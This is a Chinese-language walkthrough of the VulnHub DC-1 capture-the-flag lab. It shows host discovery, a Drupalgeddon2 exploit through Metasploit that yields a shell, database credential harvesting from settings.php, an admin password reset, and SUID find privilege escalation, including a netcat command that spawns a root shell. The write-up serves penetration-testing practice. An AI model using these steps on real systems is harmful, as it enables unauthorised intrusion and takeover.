靶场名称:DC:1
靶场发布时间:2019-2-28
靶场地址:https://www.vulnhub.com/entry/dc-1,292/
靶场描述:
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
作者提示使用VirtualBox VM,使用vmware也是一样(我是基于vmware)
在做靶机之前,最好对靶机进行快照防止一些操作造成靶机无法挽回的情况(欲哭无泪)
把靶机和攻击机设置在同一个网段(NAT)
攻击机:
靶机IP:192.168.37.187
获取靶机的IP
nmap -sn 192.168.37.0/24
在网段环境中机器 比较多的情况,通多比对MAC地址来判断那个是靶机
获取靶机的基本信息(系统版本端口开放情况等等):
通过访问页面可以得知是Drupal的CMS
http://192.168.37.187/robots.txt 存在(robots.txt的文件)
结合一些页面的访问,大致的可以判断是drupal 7的版本
扫描目录也没有发现有价值的目录或文件(dirb http://192.168.37.187)
使用msfconsole 搜索一下关于drupal的模块,去对应的尝试一下
在尝试使用第四个exploit/unix/webapp/drupal_drupalgeddon2 (利用成功)
对模块进行配置
set RHOSTS 192.168.37.187 设置目标IP
exploit(成功反弹回来shell)
查看权限(www-data)
查看当前目录
提示去查看配置文件
在/var/www/sites/default/settings.php drupal的配置文件中获取到 flag2
提示:不用暴力破解获取凭证(我自己的理解)
获取到mysql数据的账号密码,但是mysql数据没对外开放
shell是哑的使用python
python -c "import pty;pty.spawn('/bin/bash')"
连接数据库
获取到drupal的账号和密码
drupal密码的加密是破解不出来,需要重置管理的密码(加密脚本位置在网站根目录下的scripts/password-hash.sh)
php scripts/password-hash.sh admin (admin是你要设置的新密码)
获取到admin的加密后的样子
通过数据对admin账号的密码进行重置
然后登录admin账号即可
提示可以使用存在root权限的命令来进行提权
find / -user root -perm -4000 -print 2>/dev/null
可以利用find来进行提取
先建立一个文件touch pentestlab
find pentestlab -exec whoami \;
使用root权限去执行命令 有root直接去查看root目录下的文件
发现thefinalflag.txt(等下..flag4???,怎么直接到最后一个flag了)
find pentestlab -exec cat /root/thefinalflag.txt \;
继续寻找flag4
在home的目录下找到了flag4
cat flag4.txt
靶机flag结束
获取到全部的flag后,对靶机进行提权
靶机执行
find pentestlab -exec nc -lvp 5551 -e /bin/sh \;
在攻击机上去连接靶机的端口
成功提权
小插曲:
暴力破解最后我也尝试了,对靶机的root和flag4都进行了破解,flag4的破解出来(root没跑完)
1.suid提权的了解
2.对于drupal的文件目录及配置文件的了解
3.暴力破解是真的很长时间